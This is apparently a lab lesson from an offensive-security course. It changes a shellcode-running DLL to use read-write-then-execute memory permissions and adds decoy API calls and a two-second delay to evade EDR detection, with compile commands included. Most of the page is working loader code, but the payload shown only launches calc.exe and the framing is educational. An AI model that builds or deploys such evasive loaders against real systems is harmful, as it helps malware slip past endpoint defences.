Goal
Let’s take calc_dll.cpp
, as we created in Lab 1.1, decouple RWX memory permissions and introduce some delay + decoys. Note the loader + server will be the exact same as we used in Lab 8.2, these files remained unchanged.
Code: Implementing RW -> RX
All the changes will happen inside of our ExecuteShellcode()
function.
BOOL ExecuteShellcode() {
DWORD oldProtect = 0; // Variable to store original permissions
void* exec_memory = VirtualAlloc(NULL, sizeof(calc_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE); // CHANGE THIS LINE
if (exec_memory == NULL) {
return FALSE;
}
// Changed RtlCopyMemory to memcpy
memcpy(exec_memory, calc_shellcode, sizeof(calc_shellcode));
// Change memory protection to RX before execution
if (!VirtualProtect(exec_memory, sizeof(calc_shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
// Handle VirtualProtect error (e.g., print GetLastError())
VirtualFree(exec_memory, 0, MEM_RELEASE); // Clean up allocated memory
return FALSE;
}
void (*shellcode_func)() = (void(*)())exec_memory;
shellcode_func();
// (Optional but Recommended) Restore original permissions before freeing
DWORD dummyProtect; // We don't care about the 'old' protection on this call
VirtualProtect(exec_memory, sizeof(calc_shellcode), oldProtect, &dummyProtect);
VirtualFree(exec_memory, 0, MEM_RELEASE);
return TRUE;
}
Code Breakdown
- Right at the top we declare
oldProtect
to store our original permissions at the end. - When we use VirtualAlloc, we now request memory that is
PAGE_READWRITE
- Next, I changed the function we used to copy the shellcode into memory from
RtlCopyMemory
tomemcpy
, this is not required and has no effect, I just did it to show you that there are multiple options available to us. - We then add a call to
VirtualProtect
after copying the shellcode but before executing it. This changes the page permissions toPAGE_EXECUTE_READ
, allowing the CPU to execute the instructions stored there. We store the previous permissions (PAGE_READWRITE
) in theoldProtect
variable. - Then, before we call
VirtualFree()
(as we did before), we restore our original memory permissions (PAGE_READWRITE
). As explained in Theory 9.1, this is not required, but good practice.
Code: Implementing Delays + Decoys
Once again all the changes happen inside of ExecuteShellcode()
function, specifically between the points where we use memcpy
to copy the shellcode into memory, and then change the permissions.
BOOL ExecuteShellcode() {
DWORD oldProtect = 0; // Variable to store original permissions
void* exec_memory = VirtualAlloc(NULL, sizeof(calc_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE); // CHANGE THIS LINE
if (exec_memory == NULL) {
return FALSE;
}
// Changed RtlCopyMemory to memcpy
memcpy(exec_memory, calc_shellcode, sizeof(calc_shellcode));
// --- Start Delay/Misdirection ---
// Misdirection: Call some common, low-impact APIs DWORD tickCount = GetTickCount();
SYSTEMTIME sysTime;
GetSystemTime(&sysTime);
// Delay: Pause execution for a short period
Sleep(2000); // Sleep for 2 seconds (Adjust as needed)
// --- End Delay/Misdirection ---
// Change memory protection to RX before execution
if (!VirtualProtect(exec_memory, sizeof(calc_shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
// Handle VirtualProtect error (e.g., print GetLastError())
VirtualFree(exec_memory, 0, MEM_RELEASE); // Clean up allocated memory
return FALSE;
}
void (*shellcode_func)() = (void(*)())exec_memory;
shellcode_func();
// (Optional but Recommended) Restore original permissions before freeing
DWORD dummyProtect; // We don't care about the 'old' protection on this call
VirtualProtect(exec_memory, sizeof(calc_shellcode), oldProtect, &dummyProtect);
VirtualFree(exec_memory, 0, MEM_RELEASE);
return TRUE;
}
Code Breakdown
- We’re just adding one extremely simply decoy function, and a 2-second delay.
- Note this single, simple decoy is unlikely to have much impact, but I just wanted to illustrate the principle - this is one of those areas you are free to get extremely creative with, so feel free to research other potential functions, combinations etc.
Instructions
We’ll need to recompile our DLL.
On Darwin (Mac OS):
x86_64-w64-mingw32-g++ calc_dll.cpp -o calc_dll.dll -shared -static-libgcc -static-libstdc++ -luser32
On Windows:
cl.exe /D_USRDLL /D_WINDLL calc_dll.cpp /link /DLL /OUT:calc_dll.dll
On Linux:
g++ -shared -o calc_dll.dll calc_dll.cpp -Wl,--out-implib,libcalc_dll.a
Then, follow the exact same instructions from Lab 8.2 - we’ll once again run our server, and then the client/loader. The only difference now of course is that the server will serve this new dll with our delay + decoy functions.
Results
The output should be unchanged from Lab 8.2, and following a 2-second delay we should once again have calc.exe pop-up. Our decoy function has no visible effect, remember this is all an attempt to foil detection behind the scenes by introduction some functional misdirection.
Discussion
In theory these changes might have made some improvement to our chances of being detected. Now of course, the only way to detect that would have been in an environment with an EDR. That however is a lot of effort for something that is more than likely to fail, as I mentioned before I think there is educational value in exploring this process, even if there practical is dubious. You are however of course free to improve on the code here, introduce more dummy functions etc and test it in a live environment if you wish, just be aware that we have much better tricks up our sleeve which we’ll explore in our upcoming modules.
Conclusion
We’ve successfully refactored our shellcode execution. This serves as a solid foundation for the subsequent lessons in this module where we will explore further refinements and techniques for in-process evasion.